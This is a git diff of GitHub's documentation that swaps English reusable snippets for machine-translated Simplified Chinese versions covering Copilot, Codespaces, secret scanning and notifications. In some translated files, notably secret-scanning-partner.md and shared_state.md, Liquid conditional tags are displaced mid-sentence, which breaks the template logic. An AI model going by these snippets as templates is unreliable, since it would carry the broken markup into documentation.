+ms.openlocfilehash: 9c6c94903f4fe96035f811db7ce2c113f0e5b98b +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147882109" +--- +{% data variables.product.prodname_github_codespaces %} 可用于使用 {% data variables.product.prodname_team %} 或 {% data variables.product.prodname_ghe_cloud %} 的组织。 {% data variables.product.prodname_github_codespaces %} 也可作为受限的 beta 版本提供给使用 {% data variables.product.prodname_free_user %} 和 {% data variables.product.prodname_pro %} 计划的个人用户。 {% data reusables.gated-features.more-info-org-products %} diff --git a/translations/zh-CN/data/reusables/gated-features/copilot-billing.md b/translations/zh-CN/data/reusables/gated-features/copilot-billing.md index 3c08554221..3354c2e137 100644 --- a/translations/zh-CN/data/reusables/gated-features/copilot-billing.md +++ b/translations/zh-CN/data/reusables/gated-features/copilot-billing.md @@ -1,3 +1,11 @@ -{% data variables.product.prodname_copilot %} can be managed through personal accounts with {% data variables.product.prodname_copilot_for_individuals %} or through invoiced {% data variables.product.prodname_ghe_cloud %} accounts with {% data variables.product.prodname_copilot_for_business %}.

+--- +ms.openlocfilehash: 12573a5fe996a8e2bb1cd66d4dbadb6b7a716b7e +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: "148192855" +--- +{% data variables.product.prodname_copilot %} 可以通过具有 {% data variables.product.prodname_copilot_for_individuals %} 的个人帐户或具有 {% data variables.product.prodname_copilot_for_business %} 的已开票 {% data variables.product.prodname_ghe_cloud %} 帐户进行管理。

-{% data variables.product.prodname_ghe_cloud %} accounts paying through credit card or PayPal, and organizations on the {% data variables.product.prodname_team %} or {% data variables.product.prodname_free_team %} plans cannot manage {% data variables.product.prodname_copilot %} for their members at this time. If you are interested in managing {% data variables.product.prodname_copilot %} through your {% data variables.product.prodname_ghe_cloud %} account paying through credit card or PayPal, or your organization on the {% data variables.product.prodname_team %} or {% data variables.product.prodname_free_team %} plan, you can contact sales and request to join the [waitlist](https://github.com/enterprise/contact?ref_page=/pricing?_features=site_copilot_biz_ga&ref_cta=Contact%20Sales&ref_loc=cards). +通过信用卡或 PayPal 付款的 {% data variables.product.prodname_ghe_cloud %} 帐户,以及使用 {% data variables.product.prodname_team %} 或 {% data variables.product.prodname_free_team %} 计划的组织目前无法为其成员管理 {% data variables.product.prodname_copilot %}。 如果有兴趣通过信用卡或 PayPal 支付的 {% data variables.product.prodname_ghe_cloud %} 帐户管理 {% data variables.product.prodname_copilot %},或通过使用 {% data variables.product.prodname_team %} 或 {% data variables.product.prodname_free_team %} 计划的组织进行管理,你可以联系销售人员并请求加入[候补名单](https://github.com/enterprise/contact?ref_page=/pricing?_features=site_copilot_biz_ga&ref_cta=Contact%20Sales&ref_loc=cards)。 diff --git a/translations/zh-CN/data/reusables/gated-features/copilot.md b/translations/zh-CN/data/reusables/gated-features/copilot.md index 6181711a83..44cf004a0e 100644 --- a/translations/zh-CN/data/reusables/gated-features/copilot.md +++ b/translations/zh-CN/data/reusables/gated-features/copilot.md @@ -1,3 +1,11 @@ -{% data variables.product.prodname_copilot %} is available to {% data variables.product.company_short %} customers with a personal account on {% data variables.product.prodname_dotcom_the_website %} and {% data variables.product.prodname_ghe_cloud %} organizations owned by an enterprise account.

+--- +ms.openlocfilehash: e6c9e8027320ab57758f8709c6f4ddecebda34bf +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: "148192759" +--- +{% data variables.product.prodname_copilot %} 适用于在 {% data variables.product.prodname_dotcom_the_website %} 上使用个人帐户的 {% data variables.product.company_short %} 客户,以及企业帐户拥有的 {% data variables.product.prodname_ghe_cloud %} 组织。

-{% data variables.product.prodname_copilot %} is free to use for verified students, teachers, and maintainers of popular open source projects. If you are not a student, teacher, or maintainer of a popular open source project, you can try {% data variables.product.prodname_copilot %} for free with a one-time 60-day trial. After the free trial, you will need a paid subscription for continued use. For more information, see "[About billing for {% data variables.product.prodname_copilot %}](/billing/managing-billing-for-github-copilot/about-billing-for-github-copilot)." +{% data variables.product.prodname_copilot %} 供经过验证的学生、教师和热门开源项目的维护人员免费使用。 如果你不是学生、教师或热门开源项目的维护人员,可以在一次性 60 天试用版中免费试用 {% data variables.product.prodname_copilot %}。 免费试用后,需要付费订阅才能继续使用。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_copilot %} 的计费](/billing/managing-billing-for-github-copilot/about-billing-for-github-copilot)”。 diff --git a/translations/zh-CN/data/reusables/gated-features/dependency-vulnerable-calls.md b/translations/zh-CN/data/reusables/gated-features/dependency-vulnerable-calls.md index 139e3862ba..6a8110b088 100644 --- a/translations/zh-CN/data/reusables/gated-features/dependency-vulnerable-calls.md +++ b/translations/zh-CN/data/reusables/gated-features/dependency-vulnerable-calls.md @@ -1,13 +1,17 @@ -{%- ifversion fpt %} -Detection of vulnerable calls is enabled on public repositories. This analysis is also available in private repositories owned by organizations that use {% data variables.product.prodname_ghe_cloud %} and have licensed {% data variables.product.prodname_GH_advanced_security %}. +--- +ms.openlocfilehash: 91884dc1aa5c5b0b3d32593edfb1927e6c75592f +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145097600" +--- +{%- ifversion fpt %} 在公共存储库上启用对易受攻击的调用的检测。 此分析也可用于使用 {% data variables.product.prodname_ghe_cloud %} 并获得 {% data variables.product.prodname_GH_advanced_security %} 许可的组织所拥有的专用存储库。 -{%- elsif ghec %} -Detection of vulnerable calls is included in {% data variables.product.product_name %} for public repositories. To detect vulnerable calls in private repositories owned by organizations, your organization must have a license for {% data variables.product.prodname_GH_advanced_security %}. +{%- elsif ghec %} 对易受攻击的调用的检测包含在公共存储库的 {% data variables.product.product_name %} 中。 要在组织拥有的专用存储库中检测易受攻击的调用,你的组织必须具有 {% data variables.product.prodname_GH_advanced_security %} 的许可证。 -{%- elsif ghes > 3.5 %} -Detection of vulnerable calls is available for organization-owned repositories in {% data variables.product.product_name %}. This feature requires a license for {% data variables.product.prodname_GH_advanced_security %}. +{%- elsif ghes > 3.5 %} 对易受攻击的调用的检测可用于 {% data variables.product.product_name %} 中的组织拥有的存储库。 此功能需要 {% data variables.product.prodname_GH_advanced_security %} 的许可证。 -{%- elsif ghae > 3.5 %} -Detection of vulnerable calls is available for organization-owned repositories in {% data variables.product.product_name %}. This is a {% data variables.product.prodname_GH_advanced_security %} feature (free during the beta release). +{%- elsif ghae-issue-6076 %} 对易受攻击的调用的检测可用于 {% data variables.product.product_name %} 中的组织拥有的存储库。 这是一个 {% data variables.product.prodname_GH_advanced_security %} 功能(在 beta 版本期间免费)。 {%- endif %} {% data reusables.advanced-security.more-info-ghas %} diff --git a/translations/zh-CN/data/reusables/gated-features/discussions.md b/translations/zh-CN/data/reusables/gated-features/discussions.md new file mode 100644 index 0000000000..4297473256 --- /dev/null +++ b/translations/zh-CN/data/reusables/gated-features/discussions.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 537b9f1ce8fb6ddffc792220bea607d2b9bc75f0 +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145097599" +--- +{% data variables.product.prodname_discussions %} 可用于 {% data variables.product.prodname_dotcom_the_website %} 上的公共和私有仓库。 {% data reusables.gated-features.more-info-org-products %} diff --git a/translations/zh-CN/data/reusables/gated-features/secret-scanning-partner.md b/translations/zh-CN/data/reusables/gated-features/secret-scanning-partner.md index 8c5b57d912..f794003030 100644 --- a/translations/zh-CN/data/reusables/gated-features/secret-scanning-partner.md +++ b/translations/zh-CN/data/reusables/gated-features/secret-scanning-partner.md @@ -1,13 +1,17 @@ -{%- ifversion fpt %} -{% data variables.product.prodname_secret_scanning_partner_caps %} is automatically run on public repositories in all products on {% data variables.product.prodname_dotcom_the_website %}. {% data variables.product.prodname_secret_scanning_GHAS_caps %} is available for repositories owned by organizations that use {% data variables.product.prodname_ghe_cloud %} and have a license for {% data variables.product.prodname_GH_advanced_security %}. +--- +ms.openlocfilehash: 0f465bd80e066cc8c1c047a1c6a52068de79ce37 +ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145097563" +--- +{%- ifversion fpt %} {% data variables.product.prodname_secret_scanning_partner_caps %} 在 {% data variables.product.prodname_dotcom_the_website %} 上的所有产品的公共存储库中自动运行。 {% data variables.product.prodname_secret_scanning_GHAS_caps %} 可用于使用 {% data variables.product.prodname_ghe_cloud %} 并拥有 {% data variables.product.prodname_GH_advanced_security %} 许可证的组织所拥有的存储库。 -{%- elsif ghec %} -{% data variables.product.prodname_secret_scanning_partner_caps %} is automatically run on all public repositories. If you have a license for {% data variables.product.prodname_GH_advanced_security %}, you can enable and configure {% data variables.product.prodname_secret_scanning_GHAS %} for any repository owned by an organization. +{%- elsif ghec %} {% data variables.product.prodname_secret_scanning_partner_caps %} 自动在所有公共存储库上运行。 如果你拥有 {% data variables.product.prodname_GH_advanced_security %} 的许可证,则可以为组织拥有的任何存储库启用和配置 {% data variables.product.prodname_secret_scanning_GHAS %}。 -{%- elsif ghes %} -{% data variables.product.prodname_secret_scanning_caps %} is available for organization-owned repositories in {% data variables.product.product_name %} if your enterprise has a license for {% data variables.product.prodname_GH_advanced_security %}. +如果你的企业拥有 {% data variables.product.prodname_GH_advanced_security %} 的许可证,则 {%- elsif ghes %} {% data variables.product.prodname_secret_scanning_caps %} 可用于 {% data variables.product.product_name %} 中的组织拥有的存储库。 -{%- elsif ghae %} -{% data variables.product.prodname_secret_scanning_caps %} is available for organization-owned repositories in {% data variables.product.product_name %}. This is a {% data variables.product.prodname_GH_advanced_security %} feature (free during the beta release). +{%- elsif ghae %} {% data variables.product.prodname_secret_scanning_caps %} 可用于 {% data variables.product.product_name %} 中的组织拥有的存储库。 这是一个 {% data variables.product.prodname_GH_advanced_security %} 功能(在 beta 版本期间免费)。 -{%- endif %} {% ifversion not ghae %}{% data reusables.advanced-security.more-info-ghas %}{% endif %} +{%- endif %} {% ifversion not ghae %}有关详细信息,请参阅“[GitHub 的产品](/articles/githubs-products)”。{% endif %} diff --git a/translations/zh-CN/data/reusables/gated-features/secret-scanning.md b/translations/zh-CN/data/reusables/gated-features/secret-scanning.md index 747881e510..795cc72ec9 100644 --- a/translations/zh-CN/data/reusables/gated-features/secret-scanning.md +++ b/translations/zh-CN/data/reusables/gated-features/secret-scanning.md @@ -1,9 +1,15 @@ +--- +ms.openlocfilehash: 3e32ef8b3fc53f1818f1d09b8461aa00e50f200c +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145097561" +--- -{%- ifversion ghec or ghes %} -{% data variables.product.prodname_secret_scanning_GHAS_caps %} is available for organization-owned repositories in {% data variables.product.product_name %} if your enterprise has a license for {% data variables.product.prodname_GH_advanced_security %}. +{%- ifversion ghec or ghes %} 如果你的企业拥有 {% data variables.product.prodname_GH_advanced_security %} 的许可证,则 {% data variables.product.prodname_secret_scanning_GHAS_caps %} 可用于 {% data variables.product.product_name %} 中的组织拥有的存储库。 -{%- elsif ghae %} -{% data variables.product.prodname_secret_scanning_caps %} is available for organization-owned repositories in {% data variables.product.product_name %}. This is a {% data variables.product.prodname_GH_advanced_security %} feature (free during the beta release). +{%- elsif ghae %} {% data variables.product.prodname_secret_scanning_caps %} 可用于 {% data variables.product.product_name %} 中的组织拥有的存储库。 这是一个 {% data variables.product.prodname_GH_advanced_security %} 功能(在 beta 版本期间免费)。 -{%- endif %} {% ifversion not ghae %}{% data reusables.advanced-security.more-info-ghas %}{% endif %} +{%- endif %} {% ifversion not ghae %}有关详细信息,请参阅“[GitHub 的产品](/articles/githubs-products)”。{% endif %} diff --git a/translations/zh-CN/data/reusables/gated-features/security-center.md b/translations/zh-CN/data/reusables/gated-features/security-center.md new file mode 100644 index 0000000000..323cc94687 --- /dev/null +++ b/translations/zh-CN/data/reusables/gated-features/security-center.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 018516beaf80324e4ed98c24badb40f583dcc239 +ms.sourcegitcommit: dc42bb4a4826b414751ffa9eed38962c3e3fea8e +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "147064520" +--- +{% ifversion ghae %} 如果你有 {% data variables.product.prodname_GH_advanced_security %} 许可证,则可获得组织的安全概览,该许可证在 Beta 版期间是免费的。 {% data reusables.advanced-security.more-info-ghas %} {% elsif ghec or ghes %} 组织的安全概览在你拥有 {% data variables.product.prodname_GH_advanced_security %} 的许可证时可用。 {% data reusables.advanced-security.more-info-ghas %} {% elsif fpt %} 使用 {% data variables.product.prodname_enterprise %} 并拥有 {% data variables.product.prodname_GH_advanced_security %} 许可证的组织可使用安全概览。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)”。 {% endif %} diff --git a/translations/zh-CN/data/reusables/getting-started/actions.md b/translations/zh-CN/data/reusables/getting-started/actions.md index c655219426..b6a4d5eeec 100644 --- a/translations/zh-CN/data/reusables/getting-started/actions.md +++ b/translations/zh-CN/data/reusables/getting-started/actions.md @@ -1 +1,9 @@ -With {% data variables.product.prodname_actions %}, you can automate and customize {% data variables.location.product_location %}'s development workflow on {% data variables.product.product_name %}. You can create your own actions, and use and customize actions shared by the {% data variables.product.prodname_dotcom %} community. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)." +--- +ms.openlocfilehash: aec556bebd25dc78544f0ed8250442014a4eba71 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147882093" +--- +使用 {% data variables.product.prodname_actions %},可以在 {% data variables.product.product_name %} 上自动执行和自定义 {% data variables.product.product_location %} 的开发工作流。 您可以创建自己的操作,以及使用和自定义 {% data variables.product.prodname_dotcom %} 社区分享的操作。 有关详细信息,请参阅“[了解 {% data variables.product.prodname_actions %}](/actions/learn-github-actions)”。 diff --git a/translations/zh-CN/data/reusables/getting-started/adding-members-to-organizations.md b/translations/zh-CN/data/reusables/getting-started/adding-members-to-organizations.md index 42d5f43d6f..13a6478ca0 100644 --- a/translations/zh-CN/data/reusables/getting-started/adding-members-to-organizations.md +++ b/translations/zh-CN/data/reusables/getting-started/adding-members-to-organizations.md @@ -1 +1,9 @@ -You can add members to organizations in {% data variables.location.product_location %} as long as you are an organization owner in the organizations you want to manage. You can also configure visibility of organization membership. For more information, see "[Adding people to your organization](/organizations/managing-membership-in-your-organization/adding-people-to-your-organization)" and "[Configuring visibility for organization membership](/admin/user-management/managing-organizations-in-your-enterprise/configuring-visibility-for-organization-membership)." +--- +ms.openlocfilehash: 3b4d678bc4a5a023d7fbcced5c68a6ee5e66fc54 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145097543" +--- +只要是要管理的组织中的组织所有者,就可以将成员添加到 {% data variables.product.product_location %} 中的组织。 还可以配置组织成员身份的可见性。 有关详细信息,请参阅“[将人员添加到组织](/organizations/managing-membership-in-your-organization/adding-people-to-your-organization)”和“[配置组织成员身份的可见性](/admin/user-management/managing-organizations-in-your-enterprise/configuring-visibility-for-organization-membership)”。 diff --git a/translations/zh-CN/data/reusables/getting-started/configuring-security-features.md b/translations/zh-CN/data/reusables/getting-started/configuring-security-features.md index be2ff1bb50..218be199ab 100644 --- a/translations/zh-CN/data/reusables/getting-started/configuring-security-features.md +++ b/translations/zh-CN/data/reusables/getting-started/configuring-security-features.md @@ -1 +1,9 @@ -To keep {% ifversion ghes or ghae %}the organizations in {% data variables.location.product_location %}{% else %}your organization{% endif %} secure, you can use a variety of {% data variables.product.prodname_dotcom %} security features, including security policies, dependency graphs, secret scanning and Dependabot security and version updates. For more information, see "[Securing your organization](/code-security/getting-started/securing-your-organization)" and "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." +--- +ms.openlocfilehash: 8657ff2b842e749aa9fff25434a5587acf0ec448 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145097538" +--- +为了确保 {% ifversion ghes or ghae %} {% data variables.product.product_location %}{% else %}你的组织{% endif %} 中的组织安全,你可以使用各种 {% data variables.product.prodname_dotcom %} 安全功能,包括安全策略、依赖项图、机密扫描以及 Dependabot 安全和版本更新。 有关详细信息,请参阅“[保护组织](/code-security/getting-started/securing-your-organization)”和“[管理组织的安全和分析设置](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)”。 diff --git a/translations/zh-CN/data/reusables/getting-started/creating-organizations.md b/translations/zh-CN/data/reusables/getting-started/creating-organizations.md index 70551a4383..9bcd89ac6b 100644 --- a/translations/zh-CN/data/reusables/getting-started/creating-organizations.md +++ b/translations/zh-CN/data/reusables/getting-started/creating-organizations.md @@ -1 +1,9 @@ -You can create new organizations in {% data variables.location.product_location %} to reflect your company or group's structure. For more information, see "[Creating a new organization from scratch](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)." +--- +ms.openlocfilehash: ec82fc3572981a7f9fd81165c8fc40056bc56824 +ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147875993" +--- +可以在 {% data variables.product.product_location %} 中创建新组织以反映公司或组的结构。 有关详细信息,请参阅“[从头开始创建新组织](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)”。 diff --git a/translations/zh-CN/data/reusables/getting-started/enforcing-repo-management-policies.md b/translations/zh-CN/data/reusables/getting-started/enforcing-repo-management-policies.md index a684eecaa6..8c1f70aa33 100644 --- a/translations/zh-CN/data/reusables/getting-started/enforcing-repo-management-policies.md +++ b/translations/zh-CN/data/reusables/getting-started/enforcing-repo-management-policies.md @@ -1 +1,9 @@ -As an enterprise owner, you can set repository management policies for all organizations in {% data variables.location.product_location %}, or allow policies to be set separately in each organization. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise)." +--- +ms.openlocfilehash: 01211e69f9b41fd5ca1af8bffc9bb73669dba023 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147880354" +--- +作为企业所有者,你可以在 {% data variables.product.product_location %} 中为所有组织设置存储库管理策略,或者允许在每个组织中单独设置策略。 有关详细信息,请参阅“[在企业中实施存储库管理策略](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise)”。 diff --git a/translations/zh-CN/data/reusables/getting-started/enterprise-advanced-security.md b/translations/zh-CN/data/reusables/getting-started/enterprise-advanced-security.md index 395e070121..12210ab83e 100644 --- a/translations/zh-CN/data/reusables/getting-started/enterprise-advanced-security.md +++ b/translations/zh-CN/data/reusables/getting-started/enterprise-advanced-security.md @@ -1 +1,9 @@ -If you have a GitHub Advanced Security license for your enterprise account, you can enforce policies to manage {% data variables.product.prodname_GH_advanced_security %} features for organizations owned by an enterprise account. For more information, see "[Enforcing policies for code security and analysis for your enterprise](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise)." +--- +ms.openlocfilehash: 3c79982a7666f43d8e490dd4a7111a456f61f38a +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145097520" +--- +如果企业帐户拥有 GitHub 高级安全许可证,则可以强制实施策略来管理 {% data variables.product.prodname_dotcom %} 企业帐户拥有的组织的高级安全功能。 有关详细信息,请参阅“[在企业帐户中强制实施高级安全策略](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise)”。 diff --git a/translations/zh-CN/data/reusables/getting-started/learning-lab-enterprise.md b/translations/zh-CN/data/reusables/getting-started/learning-lab-enterprise.md new file mode 100644 index 0000000000..22563deb5a --- /dev/null +++ b/translations/zh-CN/data/reusables/getting-started/learning-lab-enterprise.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 1c3f22791ec2506af5342903902e6ffc6e6d9ed4 +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145097511" +--- +企业成员可以通过 [{% data variables.product.prodname_learning %}](https://lab.github.com/) 在自己的 GitHub 存储库中完成有趣、逼真的项目来学习新技能。 每门课程都是由 GitHub 社区创建并由友好的学习实验室机器人教授的实践课程。 + +有关详细信息,请参阅“[Git 和 {% data variables.product.prodname_dotcom %} 学习资源](/github/getting-started-with-github/quickstart/git-and-github-learning-resources)”。 diff --git a/translations/zh-CN/data/reusables/getting-started/learning-lab.md b/translations/zh-CN/data/reusables/getting-started/learning-lab.md new file mode 100644 index 0000000000..fe02ca358a --- /dev/null +++ b/translations/zh-CN/data/reusables/getting-started/learning-lab.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: cf9c43ef5d000edb86bd12512e25f415745f7ee9 +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145097509" +--- +你可以通过 [{% data variables.product.prodname_learning %}](https://lab.github.com/) 在自己的 GitHub 存储库中完成有趣、逼真的项目来学习新技能。 每门课程都是由 GitHub 社区创建并由友好的学习实验室机器人教授的实践课程。 + +有关详细信息,请参阅“[Git 和 {% data variables.product.prodname_dotcom %} 学习资源](/github/getting-started-with-github/quickstart/git-and-github-learning-resources)”。 diff --git a/translations/zh-CN/data/reusables/getting-started/managing-enterprise-members.md b/translations/zh-CN/data/reusables/getting-started/managing-enterprise-members.md index 7c74a811a0..4f9373b0ac 100644 --- a/translations/zh-CN/data/reusables/getting-started/managing-enterprise-members.md +++ b/translations/zh-CN/data/reusables/getting-started/managing-enterprise-members.md @@ -1 +1,9 @@ -You can manage settings and audit activity for the members of {% data variables.location.product_location %}. You can {% ifversion ghes %}promote an enterprise member to be a site administrator, {% endif %}manage dormant users, view the audit log for user activity, and customize messages that enterprise members will see. For more information, see "[Managing users in your enterprise](/admin/user-management/managing-users-in-your-enterprise)." +--- +ms.openlocfilehash: ab49c1d935838b59ead4931c40f837f331cc59eb +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145097507" +--- +你可以管理 {% data variables.product.product_location %} 成员的设置和审核活动。 你可以将企业成员 {% ifversion ghes %}提升为站点管理员、{% endif %}管理休眠用户、查看用户活动的审核日志以及自定义企业成员将看到的消息。 有关详细信息,请参阅“[管理企业中的用户](/admin/user-management/managing-users-in-your-enterprise)”。 diff --git a/translations/zh-CN/data/reusables/git/git-push.md b/translations/zh-CN/data/reusables/git/git-push.md index 58c2a216e0..56f5a4deff 100644 --- a/translations/zh-CN/data/reusables/git/git-push.md +++ b/translations/zh-CN/data/reusables/git/git-push.md @@ -1,5 +1,13 @@ -1. [Push the changes](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) in your local repository to {% data variables.location.product_location %}. +--- +ms.openlocfilehash: a13765e853c204f45f461ecbfcf22ba168e8966a +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145097469" +--- +1. [将本地存储库中的更改推送](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/)到 {% data variables.product.product_location %}。 ```shell - $ git push origin YOUR_BRANCH + $ git push origin your-branch # Pushes the changes in your local repository up to the remote repository you specified as the origin ``` diff --git a/translations/zh-CN/data/reusables/large_files/storage_assets_location.md b/translations/zh-CN/data/reusables/large_files/storage_assets_location.md index cfc3b76dfa..6bf1983055 100644 --- a/translations/zh-CN/data/reusables/large_files/storage_assets_location.md +++ b/translations/zh-CN/data/reusables/large_files/storage_assets_location.md @@ -1,3 +1,10 @@ -{% ifversion ghes %} -By default, the {% data variables.large_files.product_name_long %} client stores large assets on the same server that hosts the Git repository. When {% data variables.large_files.product_name_short %} is enabled on {% data variables.location.product_location %}, large assets are stored on the data partition in `/data/user/storage`. +--- +ms.openlocfilehash: eaee6a93767f4fb3a9f254f56d797f65d67129d5 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147880346" +--- +{% ifversion ghes %} 默认情况下,{% data variables.large_files.product_name_long %} 客户端将大型资产存储在托管 Git 存储库的同一服务器上。 在 {% data variables.product.product_location %} 上启用 {% data variables.large_files.product_name_short %} 后,大型资产存储在 `/data/user/storage` 的数据分区中。 {% endif %} diff --git a/translations/zh-CN/data/reusables/large_files/use_lfs_tip.md b/translations/zh-CN/data/reusables/large_files/use_lfs_tip.md index 5c45786e34..382ae0c2bb 100644 --- a/translations/zh-CN/data/reusables/large_files/use_lfs_tip.md +++ b/translations/zh-CN/data/reusables/large_files/use_lfs_tip.md @@ -1,5 +1,13 @@ +--- +ms.openlocfilehash: 3357b686e01b80c0148b2f7c4614718a550982aa +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145100741" +--- {% tip %} -**Tip:** If you regularly push large files to {% data variables.location.product_location %}, consider using {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}). For more information, see "[Versioning large files](/articles/versioning-large-files)." +提示:如果经常推送大型文件到 {% data variables.product.product_location %},请考虑使用 {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %})。 有关详细信息,请参阅“[大型文件版本控制](/articles/versioning-large-files)”。 {% endtip %} diff --git a/translations/zh-CN/data/reusables/notifications/outbound_email_tip.md b/translations/zh-CN/data/reusables/notifications/outbound_email_tip.md index e8f714d69a..5cc9237aec 100644 --- a/translations/zh-CN/data/reusables/notifications/outbound_email_tip.md +++ b/translations/zh-CN/data/reusables/notifications/outbound_email_tip.md @@ -1,7 +1,13 @@ -{% ifversion ghes or ghae %} -{% note %} +--- +ms.openlocfilehash: ce7f7a00c03950eff6f829e4715ba3aac0606ad6 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147884363" +--- +{% ifversion ghes or ghae %} {% note %} -**Note**: You'll only receive email notifications if outbound email support is enabled on {% data variables.location.product_location %}. For more information, contact your site administrator. +注意:只有在 {% data variables.product.product_location %} 上启用出站电子邮件支持时,才会收到电子邮件通知。 更多信息请联系站点管理员。 -{% endnote %} -{% endif %} +{% endnote %} {% endif %} diff --git a/translations/zh-CN/data/reusables/notifications/shared_state.md b/translations/zh-CN/data/reusables/notifications/shared_state.md index 76f7bb93f6..2f92bfa889 100644 --- a/translations/zh-CN/data/reusables/notifications/shared_state.md +++ b/translations/zh-CN/data/reusables/notifications/shared_state.md @@ -1,5 +1,13 @@ +--- +ms.openlocfilehash: b5e0ba909d27927fefce88d2a763f0b94aa83dab +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145100645" +--- {% tip %} -**Tip:** If you receive both web and email notifications, you can automatically sync the read or unread status of the notification so that web notifications are automatically marked as read once you've read the corresponding email notification. To enable this sync, your email client must be able to view images from {% ifversion fpt or ghec %}`notifications@github.com`{% else %}the `no-reply` email address {% ifversion ghae %}for your {% data variables.product.product_name %} hostname{% elsif ghes %}for {% data variables.location.product_location %}, which your site administrator configures{% endif %}{% endif %}. +**提示:** 如果同时收到网络通知和电子邮件通知,你可以自动同步通知的已读或未读状态,以便在你阅读相应的电子邮件通知后自动将网络通知标记为已读。 若要启用此同步,你的电子邮件客户端必须能够查看来自 {% data variables.product.product_name %} 主机名{% elsif ghes %}的 {% ifversion fpt or ghec %}`notifications@github.com`{% else %} `no-reply` 电子邮件地址 {% ifversion ghae %} 的图像 {% data variables.product.product_location %},该主机名由站点管理员配置{% endif %}{% endif %}。 {% endtip %} diff --git a/translations/zh-CN/data/reusables/open-source/open-source-learning-lab.md b/translations/zh-CN/data/reusables/open-source/open-source-learning-lab.md new file mode 100644 